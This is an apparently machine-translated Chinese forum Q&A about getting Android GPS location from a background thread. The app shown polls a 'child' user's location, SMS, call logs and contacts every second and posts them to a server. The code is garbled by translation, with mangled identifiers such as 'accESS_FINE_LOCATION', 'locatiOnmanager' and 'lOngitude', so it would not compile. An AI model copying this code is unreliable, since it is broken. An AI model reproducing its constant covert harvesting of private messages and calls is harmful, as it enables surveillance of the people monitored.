作者:爱心永溢真情永远 | 来源:互联网 | 2023-09-02 16:10
您好,Android开发人员或Java开发人员,
今天我遇到了一个问题,这是获取位置的代码:
public class GpsTracker implements LocationListener{
public Location getLocation() {
if (activityCompat.checkSelfPermission(context,Manifest.permission.accESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && activityCompat.checkSelfPermission(context,Manifest.permission.accESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
// TODO: Consider calling
// activityCompat#requestPermissions
// here to request the missing permissions,and then overriding
// public void onRequestPermissionsResult(int requestCode,String[] permissions,// int[] grantResults)
// to handle the case where the user grants the permission. See the documentation
// for activityCompat#requestPermissions for more details.
return null;
}
Locationmanager locatiOnmanager= (Locationmanager)context.getSystemService(Context.LOCATION_SERVICE);
boolean isGPSEnabled = locationmanager.isProviderEnabled(Locationmanager.GPS_PROVIDER);
if (isGPSEnabled) {
locationmanager.requestLocationUpdates(Locationmanager.GPS_PROVIDER,1000,10,this);
Location location = locationmanager.getLastKnownLocation(Locationmanager.GPS_PROVIDER);
return location;
}else {
}
return null;
}
@Override
public void onLocationChanged(Location location) {
}
@Override
public void onStatusChanged(String provider,int status,Bundle extras) {
}
@Override
public void onProviderEnabled(String provider) {
}
@Override
public void onProviderDisabled(String provider) {
}
}
第二个代码:
public void getLocation(final int childId){
GpsTracker gpsTracker = new GpsTracker();
Location location = gpsTracker.getLocation();
if (location != null){
final double lOngitude= location.getLongitude();
final double latitude = location.getLatitude();
StringRequest stringRequest = new StringRequest(Request.Method.POST,WebConfig.INSERT_GPS_LOCATION,new Response.Listener() {
@Override
public void onResponse(String response) {
}
},new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
}
}){
@Override
protected Map getParams() throws AuthFailureError {
Map params = new HashMap<>();
params.put("FKchild_id",Integer.toString(childId));
params.put("longitude",Double.toString(longitude));
params.put("latitude",Double.toString(latitude));
return params;
}
};
RequestHandler.getInstance(context).addToRequestQueue(stringRequest);
}
}
上述《准则》非常有效。
现在是问题所在
private void backgroundTasks() {
final BackgroundTask backgroundTask = new BackgroundTask(this);
ScheduledExecutorService executor = Executors.newScheduledThreadPool(8);
executor.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
final int userId = SharedPrefmanager.getInstance(getapplicationContext()).getUserId();
String userType = SharedPrefmanager.getInstance(getapplicationContext()).getUserType();
boolean isLoggedIn = SharedPrefmanager.getInstance(getapplicationContext()).isLoggedIn();
if (userId != 0 && userType.equals("child") && isLoggedIn) {
runOnUiThread(new Runnable() {
@Override
public void run() {
backgroundTask.getLocation(userId);
}
});
backgroundTask.getSms(userId);
backgroundTask.getcallLogs(userId);
backgroundTask.getcontacts(userId);
}
}
},1,TimeUnit.SECONDS);
}
如您所见,我将backgroundTask.getLocation(userId);在UI线程中,因为如果在后台线程中执行此操作。它不会工作。有什么解决办法吗?谢谢
最佳解决方案是:
处理程序
您可以在主要活动中构建处理程序,然后在其中找到位置并向其显示活动是否存在。
在后台运行应用程序时起作用。
还有第二种方法:
服务
后台服务将满足您的需求。
在评论中更新我